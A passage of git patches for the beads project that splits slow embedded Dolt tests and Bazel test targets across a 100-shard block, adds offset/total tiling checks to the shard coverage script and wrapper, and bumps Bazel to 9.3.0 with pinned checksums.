TestEmbeddedUpdateFields(t *testing.T) { t.Errorf("expected notes %q, got %q", "replacement notes", got.Notes) } }) +} + +func TestEmbeddedUpdateFieldsNotesClearAndDefer(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "tu") t.Run("update_empty_notes_refused", func(t *testing.T) { // GH#6021: `--notes ""` is what a dead command substitution collapses @@ -534,7 +556,7 @@ func TestEmbeddedUpdateFields(t *testing.T) { }) } -func TestEmbeddedUpdateLifecycle(t *testing.T) { +func TestEmbeddedUpdateLifecycleDefer(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -624,6 +646,16 @@ func TestEmbeddedUpdateLifecycle(t *testing.T) { t.Errorf("expected status=in_progress to be preserved, got %q", got.Status) } }) +} + +func TestEmbeddedUpdateLifecycleClaimParentCommit(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, beadsDir, _ := bdInit(t, bd, "--prefix", "tu") t.Run("update_claim_already_claimed", func(t *testing.T) { issue := bdCreate(t, bd, dir, "Claim fail test", "--type", "task") diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 68b9aeee6..d6e4e1c61 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -1037,9 +1037,11 @@ Required` requires them to have run remotely and passed. - The `args` and `env` of every target tagged `embedded`, `dolt-server-proxied` or `dolt-server-integration` are pinned. - `tools/bazel/check_shard_coverage.py` runs after each tier. It requires: - - every Bazel shard of `//cmd/bd:bd_embedded_test` (50; the manifest's - frozen 20-shard block was the retired `test-embedded-cmd` jobs' split, - F1), `//internal/storage/embeddeddolt:embeddeddolt_embedded_test` (20; + - every Bazel shard of `//cmd/bd:bd_embedded_test` and + `//cmd/bd:bd_embedded_part2_test` (50 each: shards 1-50 and 51-100 of + the manifest's 100-shard block, which their ranges must tile exactly + once; the manifest's frozen 20-shard block was the retired + `test-embedded-cmd` jobs' split, F1), `//internal/storage/embeddeddolt:embeddeddolt_embedded_test` (20; the frozen 5-shard block was `test-embedded-storage`'s, F1), `//cmd/bd:bd_proxied_test` (34; the frozen 15-shard block was `test-proxied-cmd`'s, F2) and diff --git a/scripts/ci/embedded_cmd_test_durations.json b/scripts/ci/embedded_cmd_test_durations.json index e5fcfe221..aed2d56d1 100644 --- a/scripts/ci/embedded_cmd_test_durations.json +++ b/scripts/ci/embedded_cmd_test_durations.json @@ -1,19 +1,16 @@ { "_comment": [ "Measured on rbe-west, the lane's own remote executors (instance oss), on", - "2026-10-09: two `bazel test --config=embedded --nocache_test_results", - "//cmd/bd:bd_embedded_test` runs (race, `-test.parallel=4`, 50 shards), so", - "every top-level TestEmbedded* function ran exactly once per run. Each value", - "is the mean of the two runs (the two split", - "TestEmbeddedInitSelectedExcludeRouting{Stealth,Fork} functions ran only in", - "the second). The runs were taken after bdInit started seeding each", - "workspace's embedded database from a per-process schema template", - "(cmd/bd/embedded_init_template_test.go) and the bd subprocesses stopped", - "sleeping 1s at exit (GORACE=atexit_sleep_ms=0 on the target): the sum of", - "test-seconds fell from ~20.2k to ~10.3k on the same executors. Individual", - "tests varied up to ~2x between the two runs with executor load; the sum", - "moved ~4%. The previous capture was local sandboxed execution and", - "correlated only ~0.4 with rbe-west shard times.", + "2026-10-09: one `bazel test --config=embedded --nocache_test_results", + "//cmd/bd:bd_embedded_test //cmd/bd:bd_embedded_part2_test` run (race,", + "`-test.parallel=4`, the 100-shard block split 50+50 over the two targets),", + "so every top-level TestEmbedded* function ran exactly once. It was taken", + "after the slowest functions were split into smaller top-level functions", + "(subtests moved verbatim): the sum of test-seconds fell from ~10.3k", + "(50 shards, the previous capture) to ~8.1k, partly because each shard now", + "runs fewer tests at once. The remaining >60s functions are the *Concurrent", + "stress tests, whose bd subprocesses queue on the workspace's single writer", + "lock, and fixtures that seed many issues one `bd create` at a time.", "", "Each value is that top-level test's own from Bazel's", "generated test.xml, NOT the enclosing : 0 && p.total != parts[0].total) { + t.Fatalf("cmd/bd:%s runs shards %d..%d of %d; want it to start at shard %d of the same block as %v", name, p.offset+1, p.offset+p.shards, p.total, next+1, parts) + } + next += p.shards + parts = append(parts, p) + } + if next != parts[0].total { + t.Fatalf("%v run %d shards of a %d-shard block; their shard_counts must sum to --shard-total", parts, next, parts[0].total) + } + return parts +} + +// bazelEmbeddedCmdShardCount returns the shard total of the bazel-embedded +// lane's cmd/bd manifest block, which embeddedCmdTargets split between them +// (bazelEmbeddedCmdParts): the single source of truth for the Bazel-only +// lane's cmd/bd shard split (slice F1), which no longer has to equal PR +// Risk's/main.yml's legacy "Test (Embedded Dolt Cmd N/20)" fork/push jobs' +// matrix size — mirrors bazelProxiedShardCount (F2; see that function's doc +// comment below for the shared rationale, not repeated here). func bazelEmbeddedCmdShardCount(t *testing.T) int { t.Helper() - root := sourceRepoRoot(t) - rule := bazelRuleBlock(readPolicyFile(t, root, "cmd/bd/BUILD.bazel"), "bd_embedded_test") - m := shardCountPattern.FindStringSubmatch(rule) - if m == nil { - t.Fatalf("cmd/bd:bd_embedded_test has no `shard_count = N,` in cmd/bd/BUILD.bazel:\n%s", rule) - } - n, err := strconv.Atoi(m[1]) - if err != nil { - t.Fatalf("cmd/bd:bd_embedded_test shard_count: %v", err) - } - return n + return bazelEmbeddedCmdParts(t)[0].total } // bazelEmbeddedStorageShardCount returns diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index 52ff1b463..d1e800aec 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -322,7 +322,6 @@ func TestBazelRetiredLanesCheckListedTestsRan(t *testing.T) { // the shared rationale. liveShardCount := map[string]func(*testing.T) int{ "//cmd/bd:bd_proxied_test": bazelProxiedShardCount, - "//cmd/bd:bd_embedded_test": bazelEmbeddedCmdShardCount, "//internal/storage/embeddeddolt:embeddeddolt_embedded_test": bazelEmbeddedStorageShardCount, "//internal/storage/dolt:dolt_server_full_test": bazelServerFullShardCount, } @@ -342,7 +341,8 @@ func TestBazelRetiredLanesCheckListedTestsRan(t *testing.T) { // check_shard_coverage.py arguments, not independently // hard-coded literals that could drift from BUILD.bazel // unnoticed (S1). - {"test-embedded-cmd", "Test", "//cmd/bd:bd_embedded_test", ".github/scripts/embedded-test-shard.sh", -1}, + // The cmd/bd block is split over embeddedCmdTargets: one + // --suite each, SHARDS@OFFSET/TOTAL (added below). {"test-embedded-storage", "Test", "//internal/storage/embeddeddolt:embeddeddolt_embedded_test", ".github/scripts/embedded-storage-test-shard.sh", -1}, }, []string{"//internal/storage/embeddeddolt:embeddeddolt_conformance_core_test", "//internal/storage/embeddeddolt:embeddeddolt_conformance_audit_test"}}, {bazelProxiedJobName, "doltserver-proxied", []suite{ @@ -365,6 +365,11 @@ func TestBazelRetiredLanesCheckListedTestsRan(t *testing.T) { job := readCIWorkflow(t, bazelWorkflowName).job(t, c.lane) step := job.step(t, "Every listed test ran in its shard") want := []string{"python3 tools/bazel/check_shard_coverage.py", `--bep "$RUNNER_TEMP/bazel-bep.json"`} + if c.lane == bazelEmbedJobName { + for _, p := range bazelEmbeddedCmdParts(t) { + want = append(want, fmt.Sprintf("--suite %s %s %s", p.label, ".github/scripts/embedded-test-shard.sh", p.spec())) + } + } for _, s := range c.suites { shards := s.shardCount if shards < 0 { @@ -531,6 +536,51 @@ esac t.Errorf("--whole %v: pass = %v, want %v (mention %q):\n%s", c.names, err == nil, c.pass, c.mention, out) } } + // A 2-shard block split over two 1-shard targets (SHARDS@OFFSET/TOTAL): + // //pkg:p's shard 1 is the script's shard 1, //pkg:q's shard 1 its shard + // 2. The targets must tile the block exactly once. + splitLogs := filepath.Join(dir, "split") + for target, names := range map[string][]string{"p": {"TestA", "TestB"}, "q": {"TestC"}} { + d := filepath.Join(splitLogs, "pkg", target) + if err := os.MkdirAll(d, 0o755); err != nil { + t.Fatal(err) + } + xml := `` + for _, n := range names { + xml += `` + } + if err := os.WriteFile(filepath.Join(d, "test.xml"), []byte(xml+``), 0o644); err != nil { + t.Fatal(err) + } + } + splitBEP := filepath.Join(dir, "split.json") + if err := os.WriteFile(splitBEP, []byte(`{"id":{"targetConfigured":{"label":"//pkg:p"}},"configured":{"targetKind":"sh_test rule"}} +{"id":{"testResult":{"label":"//pkg:p","run":1,"attempt":1}}} +{"id":{"targetConfigured":{"label":"//pkg:q"}},"configured":{"targetKind":"sh_test rule"}} +{"id":{"testResult":{"label":"//pkg:q","run":1,"attempt":1}}} +`), 0o644); err != nil { + t.Fatal(err) + } + for _, c := range []struct { + name string + suites []string + pass bool + mention string + }{ + {"split exact", []string{"//pkg:p", "1@0/2", "//pkg:q", "1@1/2"}, true, ""}, + {"split shard run twice", []string{"//pkg:p", "1@0/2", "//pkg:q", "1@0/2"}, false, "run by more than one target"}, + {"split shard run by no target", []string{"//pkg:p", "1@0/2"}, false, "no target runs shard(s) [2]"}, + {"split range past the total", []string{"//pkg:p", "1@0/2", "//pkg:q", "1@2/2"}, false, "exceed"}, + } { + args := []string{script, "--bep", splitBEP, "--testlogs", splitLogs} + for i := 0; i < len(c.suites); i += 2 { + args = append(args, "--suite", c.suites[i], shard, c.suites[i+1]) + } + out, err := exec.Command(python, args...).CombinedOutput() + if (err == nil) != c.pass || (c.mention != "" && !strings.Contains(string(out), c.mention)) { + t.Errorf("%s: pass = %v, want %v (mention %q):\n%s", c.name, err == nil, c.pass, c.mention, out) + } + } if out, err := exec.Command(python, script, "--bep", writeBEP(2), "--testlogs", filepath.Join(dir, "logs0"), "--suite", label, shard, "2", "--whole", "//pkg:absent").CombinedOutput(); err == nil { t.Errorf("--whole for a target the BEP lacks passed:\n%s", out) } @@ -803,15 +853,20 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { args []string env map[string]string } + embeddedCmdEnv := map[string]string{ + "BEADS_TEST_BD_BINARY": "$(rlocationpath :bd)", "BEADS_TEST_EMBEDDED_DOLT": "1", "BEADS_TEST_GOFMT": "$(rlocationpath @go_sdk//:bin/gofmt)", + // bdInit's schema template and the race runtime's exit sleep: + // neither selects or skips a test. + "BEADS_TEST_EMBEDDED_SCHEMA_TOOL": "$(rlocationpath //internal/storage/embeddeddolt/cmd:cmd_norace)", "GORACE": "atexit_sleep_ms=0", + } want := map[string]target{ "//cmd/bd:bd_embedded_test": { - []string{"$(rootpath //:.github/scripts/embedded-test-shard.sh)", "BEADS_TEST_CMD_BINARY", "$(rootpath :bd_test)", "-test.timeout=19m"}, - map[string]string{ - "BEADS_TEST_BD_BINARY": "$(rlocationpath :bd)", "BEADS_TEST_EMBEDDED_DOLT": "1", "BEADS_TEST_GOFMT": "$(rlocationpath @go_sdk//:bin/gofmt)", - // bdInit's schema template and the race runtime's exit sleep: - // neither selects or skips a test. - "BEADS_TEST_EMBEDDED_SCHEMA_TOOL": "$(rlocationpath //internal/storage/embeddeddolt/cmd:cmd_norace)", "GORACE": "atexit_sleep_ms=0", - }, + []string{"--shard-offset=0", "--shard-total=100", "$(rootpath //:.github/scripts/embedded-test-shard.sh)", "BEADS_TEST_CMD_BINARY", "$(rootpath :bd_test)", "-test.timeout=19m"}, + embeddedCmdEnv, + }, + "//cmd/bd:bd_embedded_part2_test": { + []string{"--shard-offset=50", "--shard-total=100", "$(rootpath //:.github/scripts/embedded-test-shard.sh)", "BEADS_TEST_CMD_BINARY", "$(rootpath :bd_test)", "-test.timeout=19m"}, + embeddedCmdEnv, }, "//internal/storage/embeddeddolt:embeddeddolt_embedded_test": { []string{"$(rootpath //:.github/scripts/embedded-storage-test-shard.sh)", "BEADS_TEST_EMBEDDED_TEST_BINARY", "$(rootpath :embeddeddolt_test)", "-test.timeout=19m"}, diff --git a/tools/bazel/check_shard_coverage.py b/tools/bazel/check_shard_coverage.py index 0e574d348..c088c6e9a 100755 --- a/tools/bazel/check_shard_coverage.py +++ b/tools/bazel/check_shard_coverage.py @@ -2,7 +2,7 @@ """Fail unless every Bazel shard ran exactly the tests its shard script lists. Usage: check_shard_coverage.py --bep [--testlogs DIR] - --suite LABEL SCRIPT SHARDS [--suite ...] + --suite LABEL SCRIPT SHARDS[@OFFSET/TOTAL] [--suite ...] [--whole LABEL ...] The manifest-sharded targets (//cmd/bd:bd_embedded_test runs @@ -24,6 +24,13 @@ BEADS_TEST_SKIP or a lost BEADS_TEST_EMBEDDED_DOLT=1 turns the tier into t.Skip calls, which still list every test. It needs test.xml locally and -test.v in it, as --config=embedded sets. +A manifest block bigger than Bazel's 50-shard cap per rule runs as several +targets (tools/bazel/go_test_manifest_shard.sh --shard-offset/--shard-total): +SHARDS@OFFSET/TOTAL says Bazel shard k of LABEL is the script's shard +OFFSET+k of TOTAL. The suites sharing a SCRIPT and TOTAL must cover shards +1..TOTAL exactly once between them, so (the script assigning each test to +one shard of TOTAL) every test runs in exactly one shard of one target. + Exit status: 0 if every shard matches, 1 otherwise. """ @@ -39,6 +46,7 @@ sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) from equivalence import read_bep, testlog_xmls # noqa: E402 LISTED = re.compile(r"^ (Test[A-Za-z0-9_]*)$") +SHARD_SPEC = re.compile(r"^(\d+)(?:@(\d+)/(\d+))?$") # Names the shard scripts' `grep '^func Test'` discovery lists that go test # never runs as a test: TestMain(m *testing.M) is the package's test entry @@ -79,10 +87,36 @@ def all_skipped_problem(where, got, skipped): return None +def tiling_problems(suites): + """Problems with suites of (label, script, shards, offset, total) that + split one SCRIPT's TOTAL-shard block over several targets: together they + must cover shards 1..TOTAL exactly once.""" + problems = [] + parts = {} + for label, script, shards, offset, total in suites: + if offset + shards > total: + problems.append(f"{label}: shards {offset + 1}..{offset + shards} exceed {script}'s total {total}") + parts.setdefault((script, total), []).append((offset, shards, label)) + for (script, total), ranges in sorted(parts.items()): + covered = {} + for offset, shards, label in ranges: + for k in range(offset + 1, offset + shards + 1): + covered.setdefault(k, []).append(label) + missing = [k for k in range(1, total + 1) if k not in covered] + twice = sorted(k for k, labels in covered.items() if len(labels) > 1) + if missing: + problems.append(f"{script} {total}: no target runs shard(s) {missing}") + if twice: + problems.append(f"{script} {total}: shard(s) {twice} run by more than one target") + return problems + + def check(tested, testlogs, suites, lister=listed_tests, whole=()): """Return ([summary lines], [problems]) for suites of (label, script, shards) - and whole (unsharded or sharded) labels that must not be all-skipped.""" - lines, problems = [], [] + or (label, script, shards, offset, total), and whole (unsharded or + sharded) labels that must not be all-skipped.""" + suites = [s if len(s) == 5 else (*s, 0, s[2]) for s in suites] + lines, problems = [], tiling_problems(suites) for label in whole: if label not in tested: problems.append(f"{label}: --whole, but the BEP has no result for it") @@ -103,7 +137,7 @@ def check(tested, testlogs, suites, lister=listed_tests, whole=()): if p: problems.append(p) lines.append(f"{label}: not all skipped") - for label, script, shards in suites: + for label, script, shards, offset, total_shards in suites: if tested.get(label) != shards: problems.append(f"{label}: the BEP has {tested.get(label, 0)} shard(s), want {shards} ({script})") continue @@ -111,12 +145,12 @@ def check(tested, testlogs, suites, lister=listed_tests, whole=()): # The scripts' hash fallback forks per test (seconds per shard for # the server suite's ~1200 tests): list the shards concurrently. with concurrent.futures.ThreadPoolExecutor(max_workers=min(8, os.cpu_count() or 2)) as pool: - listings = [pool.submit(lister, script, k, shards) for k in range(1, shards + 1)] + listings = [pool.submit(lister, script, offset + k, total_shards) for k in range(1, shards + 1)] for k, xml_path in enumerate(testlog_xmls(testlogs, label, shards), start=1): try: want = listings[k - 1].result() except (OSError, subprocess.CalledProcessError) as e: - problems.append(f"{label}: {script} {k} {shards} failed: {e}") + problems.append(f"{label}: {script} {offset + k} {total_shards} failed: {e}") continue rel = os.path.relpath(xml_path, testlogs) if not os.path.exists(xml_path): @@ -136,7 +170,8 @@ def check(tested, testlogs, suites, lister=listed_tests, whole=()): f"(not in the target's srcs?)") for name in sorted(got - want): problems.append(f"{label} shard {k}/{shards}: {name} ran but {script} does not list it there") - lines.append(f"{label}: {shards} shards, {total} listed tests") + span = "" if (offset, total_shards) == (0, shards) else f" (script shards {offset + 1}..{offset + shards} of {total_shards})" + lines.append(f"{label}: {shards} shards{span}, {total} listed tests") return lines, problems @@ -145,16 +180,21 @@ def main(argv=None): ap.add_argument("--bep", required=True, help="--build_event_json_file of the bazel test run") ap.add_argument("--testlogs", default=None, help="default: from the BEP, else ./bazel-testlogs") ap.add_argument("--suite", nargs=3, action="append", required=True, metavar=("LABEL", "SCRIPT", "SHARDS"), - help="a manifest-sharded target, its shard script and shard count (repeatable)") + help="a manifest-sharded target, its shard script and shard count, as N or " + "N@OFFSET/TOTAL for one of several targets splitting a TOTAL-shard block (repeatable)") ap.add_argument("--whole", action="append", default=[], metavar="LABEL", help="a target none of whose test.xml may be all skipped (repeatable)") args = ap.parse_args(argv) suites = [] - for label, script, shards in args.suite: - if not shards.isdigit() or int(shards) < 1: - ap.error(f"--suite {label}: SHARDS must be a positive integer, got {shards!r}") - suites.append((label, script, int(shards))) + for label, script, spec in args.suite: + m = SHARD_SPEC.match(spec) + if not m or int(m.group(1)) < 1: + ap.error(f"--suite {label}: SHARDS must be N or N@OFFSET/TOTAL with N >= 1, got {spec!r}") + shards = int(m.group(1)) + offset = int(m.group(2)) if m.group(2) else 0 + total = int(m.group(3)) if m.group(3) else shards + suites.append((label, script, shards, offset, total)) tested, _, bep_testlogs = read_bep(args.bep) testlogs = args.testlogs or bep_testlogs or "bazel-testlogs" lines, problems = check(tested, testlogs, suites, whole=args.whole) diff --git a/tools/bazel/go_test_manifest_shard.sh b/tools/bazel/go_test_manifest_shard.sh index 473e53bf3..ed6f7cdc4 100755 --- a/tools/bazel/go_test_manifest_shard.sh +++ b/tools/bazel/go_test_manifest_shard.sh @@ -8,8 +8,8 @@ # go_test_variant.sh it reuses the go_test's binary instead of compiling the # package again. # -# Usage: go_test_manifest_shard.sh -# [binary args...] +# Usage: go_test_manifest_shard.sh [--shard-offset=N --shard-total=M] +# [binary args...] # , : runfiles paths ($(rootpath ...)), relative to # the workspace runfiles directory, which is the test's working directory # and where the script's source globs (cmd/bd/*_embedded_test.go, ...) @@ -22,11 +22,29 @@ # binary flags. # # Bazel's shard k of n (shard_count must equal the manifest's shard total) -# becomes the script's shard k+1 of n. The binary itself must not shard again, +# becomes the script's shard k+1 of n. A manifest block larger than Bazel's +# 50-shard cap per rule is split over several targets: with --shard-offset=N +# --shard-total=M, shard k of n becomes the script's shard N+k+1 of M, so +# targets with offsets 0, n1, n1+n2, ... and shard counts summing to M run +# every shard of the block exactly once (check_shard_coverage.py checks +# that the targets' ranges tile 1..M). The binary itself must not shard again, # so TEST_TOTAL_SHARDS/TEST_SHARD_INDEX are removed after this wrapper tells # Bazel it supports sharding. The go_test's own `env` is not inherited (see # go_test_variant.sh); the target repeats it. set -euo pipefail +offset=0 +part_total="" +while [[ "${1:-}" == --shard-* ]]; do + case "$1" in + --shard-offset=*) offset="${1#*=}" ;; + --shard-total=*) part_total="${1#*=}" ;; + *) + echo "go_test_manifest_shard.sh: unknown flag $1" >&2 + exit 2 + ;; + esac + shift +done script="$1" bin_var="$2" bin="$3" @@ -34,6 +52,17 @@ shift 3 total="${TEST_TOTAL_SHARDS:-1}" index="${TEST_SHARD_INDEX:-0}" +if [[ -n "$part_total" ]]; then + if ! [[ "$offset" =~ ^[0-9]+$ && "$part_total" =~ ^[0-9]+$ ]] || ((offset + total > part_total)); then + echo "go_test_manifest_shard.sh: --shard-offset=$offset with $total shards exceeds --shard-total=$part_total" >&2 + exit 2 + fi + index=$((offset + index)) + total="$part_total" +elif ((offset != 0)); then + echo "go_test_manifest_shard.sh: --shard-offset needs --shard-total" >&2 + exit 2 +fi if [[ -n "${TEST_SHARD_STATUS_FILE:-}" ]]; then touch "$TEST_SHARD_STATUS_FILE" fi From 66075be43ad2631800179ca427f0a8aa0d58eb37 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 21:03:41 +0000 Subject: [PATCH 196/325] ci(bazel): Bazel 9.3.0 (prerequisite for the remote repo contents cache) (#7439) .bazelversion 9.2.0 -> 9.3.0. setup-bazel pins the 9.3.0 release sha256s (bazel-9.3.0-linux-{x86_64,arm64}.sha256) next to 9.2.0's, so the composite stays a valid byte copy for gascity until it bumps too. MODULE.bazel.lock refreshed: 9.3.0's bundled module graph resolves apple_support 2.5.2 and rules_cc 0.2.15 and changes four extension bzlTransitiveDigests. 9.3.0 fixes bazel#30905 (the remote repo contents cache overlay serialized getInputStream), the hard prerequisite for ga-vnycm2.25. Refs ga-vnycm2.23 Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelversion | 2 +- .github/actions/setup-bazel/action.yml | 2 ++ MODULE.bazel.lock | 14 +++++++------- 3 files changed, 10 insertions(+), 8 deletions(-) diff --git a/.bazelversion b/.bazelversion index deeb3d66e..b13d146a7 100644 --- a/.bazelversion +++ b/.bazelversion @@ -1 +1 @@ -9.2.0 +9.3.0 diff --git a/.github/actions/setup-bazel/action.yml b/.github/actions/setup-bazel/action.yml index 8bb03ddd1..466316720 100644 --- a/.github/actions/setup-bazel/action.yml +++ b/.github/actions/setup-bazel/action.yml @@ -76,6 +76,8 @@ runs: case "$bazel_version/$arch" in 9.2.0/amd64) bazel_sha=7668a95db1250f12c40407251e4e203b4ec8bf39bc495d2f485b2d8c99048694 ;; 9.2.0/arm64) bazel_sha=049dd21f40ad979db11c3ee68c96a42ce75f1185e69ac61ab20de1501427a410 ;; + 9.3.0/amd64) bazel_sha=d302d22ed77ee5658b87857249baa579db84300ecebe0a1e9a357b5b20f80eb8 ;; + 9.3.0/arm64) bazel_sha=615cc2509819047e4930fe6643c5f01ebd705ccadf75e8f0b85f9b83cc6a6ca0 ;; *) echo "setup-bazel: no pinned sha256 for Bazel '$bazel_version' ($arch); add it from the release's .sha256 file" >&2; exit 1 ;; esac { diff --git a/MODULE.bazel.lock b/MODULE.bazel.lock index 275b6bfd9..82bd1b0bc 100644 --- a/MODULE.bazel.lock +++ b/MODULE.bazel.lock @@ -18,8 +18,8 @@ "https://bcr.bazel.build/modules/apple_support/1.15.1/MODULE.bazel": "a0556fefca0b1bb2de8567b8827518f94db6a6e7e7d632b4c48dc5f865bc7c85", "https://bcr.bazel.build/modules/apple_support/1.21.0/MODULE.bazel": "ac1824ed5edf17dee2fdd4927ada30c9f8c3b520be1b5fd02a5da15bc10bff3e", "https://bcr.bazel.build/modules/apple_support/1.21.1/MODULE.bazel": "5809fa3efab15d1f3c3c635af6974044bac8a4919c62238cce06acee8a8c11f1", - "https://bcr.bazel.build/modules/apple_support/1.24.2/MODULE.bazel": "0e62471818affb9f0b26f128831d5c40b074d32e6dda5a0d3852847215a41ca4", - "https://bcr.bazel.build/modules/apple_support/1.24.2/source.json": "2c22c9827093250406c5568da6c54e6fdf0ef06238def3d99c71b12feb057a8d", + "https://bcr.bazel.build/modules/apple_support/2.5.2/MODULE.bazel": "bb1b7081e390a8d3885f642cb0073dfcf8e7a36525e079fa8f5835af7079c0fe", + "https://bcr.bazel.build/modules/apple_support/2.5.2/source.json": "dd51ee925a550e92b55eb41c4c809a967da311a2d2520241252a238a48b39c4c", "https://bcr.bazel.build/modules/aspect_bazel_lib/2.14.0/MODULE.bazel": "2b31ffcc9bdc8295b2167e07a757dbbc9ac8906e7028e5170a3708cecaac119f", "https://bcr.bazel.build/modules/aspect_bazel_lib/2.19.3/MODULE.bazel": "253d739ba126f62a5767d832765b12b59e9f8d2bc88cc1572f4a73e46eb298ca", "https://bcr.bazel.build/modules/aspect_bazel_lib/2.19.3/source.json": "ffab9254c65ba945f8369297ad97ca0dec213d3adc6e07877e23a48624a8b456", @@ -138,9 +138,9 @@ "https://bcr.bazel.build/modules/rules_cc/0.1.5/MODULE.bazel": "88dfc9361e8b5ae1008ac38f7cdfd45ad738e4fa676a3ad67d19204f045a1fd8", "https://bcr.bazel.build/modules/rules_cc/0.2.0/MODULE.bazel": "b5c17f90458caae90d2ccd114c81970062946f49f355610ed89bebf954f5783c", "https://bcr.bazel.build/modules/rules_cc/0.2.13/MODULE.bazel": "eecdd666eda6be16a8d9dc15e44b5c75133405e820f620a234acc4b1fdc5aa37", + "https://bcr.bazel.build/modules/rules_cc/0.2.15/MODULE.bazel": "6a0a4a75a57aa6dc888300d848053a58c6b12a29f89d4304e1c41448514ec6e8", "https://bcr.bazel.build/modules/rules_cc/0.2.17/MODULE.bazel": "1849602c86cb60da8613d2de887f9566a6d354a6df6d7009f9d04a14402f9a84", "https://bcr.bazel.build/modules/rules_cc/0.2.17/source.json": "3832f45d145354049137c0090df04629d9c2b5493dc5c2bf46f1834040133a07", - "https://bcr.bazel.build/modules/rules_cc/0.2.8/MODULE.bazel": "f1df20f0bf22c28192a794f29b501ee2018fa37a3862a1a2132ae2940a23a642", "https://bcr.bazel.build/modules/rules_foreign_cc/0.9.0/MODULE.bazel": "c9e8c682bf75b0e7c704166d79b599f93b72cfca5ad7477df596947891feeef6", "https://bcr.bazel.build/modules/rules_fuzzing/0.5.2/MODULE.bazel": "40c97d1144356f52905566c55811f13b299453a14ac7769dfba2ac38192337a8", "https://bcr.bazel.build/modules/rules_go/0.63.0/MODULE.bazel": "a2079e783a5d2715a90e6e2970ec8ffd717a487ff2aecb5f553e3975c5294a21", @@ -229,7 +229,7 @@ "moduleExtensions": { "@@pybind11_bazel+//:internal_configure.bzl%internal_configure_extension": { "general": { - "bzlTransitiveDigest": "NRXra7941UfmNUyIxnLt82V5hULluVGL2nBsijTl4j4=", + "bzlTransitiveDigest": "BsgERqYptkJeeC8wFaLj251IoTZTSy/58WA6kVp0q8I=", "usagesDigest": "D1r3lfzMuUBFxgG8V6o0bQTLMk3GkaGOaPzw53wrwyw=", "recordedInputs": [ "REPO_MAPPING:pybind11_bazel+,bazel_tools bazel_tools", @@ -251,7 +251,7 @@ }, "@@rules_kotlin+//src/main/starlark/core/repositories:bzlmod_setup.bzl%rules_kotlin_extensions": { "general": { - "bzlTransitiveDigest": "+Kp6j204mBZ3mxlIDDR0gBoP45BZ4jYRhRAcB8sU0qc=", + "bzlTransitiveDigest": "WDuVCwqV73DvcHB5Of+02lhUZgPxr9MqtpvMRyUi0eQ=", "usagesDigest": "QI2z8ZUR+mqtbwsf2fLqYdJAkPOHdOV+tF2yVAUgRzw=", "recordedInputs": [ "REPO_MAPPING:rules_kotlin+,bazel_tools bazel_tools" @@ -308,7 +308,7 @@ }, "@@rules_python+//python/extensions:config.bzl%config": { "general": { - "bzlTransitiveDigest": "dzD8Q2YmrP3fz8saWLHPmlwPLO91ImtTmP/c9JKTStM=", + "bzlTransitiveDigest": "L+2ZCpb7GIJqvWaXpzkfk/80d916sIFVmSPzrSm6of8=", "usagesDigest": "ZVSXMAGpD+xzVNPuvF1IoLBkty7TROO0+akMapt1pAg=", "recordedInputs": [ "REPO_MAPPING:rules_python+,bazel_tools bazel_tools", @@ -476,7 +476,7 @@ }, "@@rules_python+//python/uv:uv.bzl%uv": { "general": { - "bzlTransitiveDigest": "ijW9KS7qsIY+yBVvJ+Nr1mzwQox09j13DnE3iIwaeTM=", + "bzlTransitiveDigest": "IgkgxNrtlAec7OnaFrWoCC5NQhHcY/aIz4jsqcNMm8Y=", "usagesDigest": "H8dQoNZcoqP+Mu0tHZTi4KHATzvNkM5ePuEqoQdklIU=", "recordedInputs": [ "REPO_MAPPING:rules_python+,bazel_tools bazel_tools", From 72a3d8039d182ce0d77765fe90d567ffc74dce4f Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 21:21:20 +0000 Subject: [PATCH 197/325] ci(bazel): embedded storage tier to 40 shards; split its two slowest tests (#7440) //internal/storage/embeddeddolt:embeddeddolt_embedded_test became the embedded lane's floor once the cmd tier was split (CI on #7438: 20 shards, 220s max, 162s median). Its tests are serial, so a shard's wall time is the sum of its tests; measured on rbe-west with the whole lane running (as CI runs it), its 20 shards took 110-161s. - TestCreateBatchFastPathsMatchPerRow_Embedded (111s) runs createbatchequiv's scenarios as two top-level tests (small+depadd, apply+waitsfor) through a new createbatchequiv.RunNamed; the same scenarios and checks. TestCreateBatchEquivalencePartsCoverEveryScenario fails unless the parts name every createbatchequiv.Run scenario exactly once. - TestWithPeerAuth_WarnsWhenStoredPeerSuppressesAmbientPassword (81s, eight cases each opening its own store) runs its table as two top-level tests, cases 1-4 and 5-8; cases and assertions unchanged. - Durations re-measured on rbe-west under the whole lane's load; the Bazel-only block is now 40 shards (LPT heaviest = the heaviest single test, TestLifecycleCloseReopenContract ~71s). One target: 40 is under Bazel's 50-shard cap, so no offset split. rbe-west, `bazel test //... --config=embedded --nocache_test_results`: storage shards max 161s -> 89s, median ~118s -> 63s. Bead: ga-vnycm2.28 Co-authored-by: Claude Opus 5.5 (1M context) --- .../scripts/embedded-storage-test-shards.txt | 823 +++++++++--------- .github/workflows/bazel.yml | 13 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 2 +- .../createbatchequiv/createbatchequiv.go | 32 + internal/storage/embeddeddolt/BUILD.bazel | 6 +- .../create_batch_equivalence_test.go | 44 +- .../federation_credentials_test.go | 18 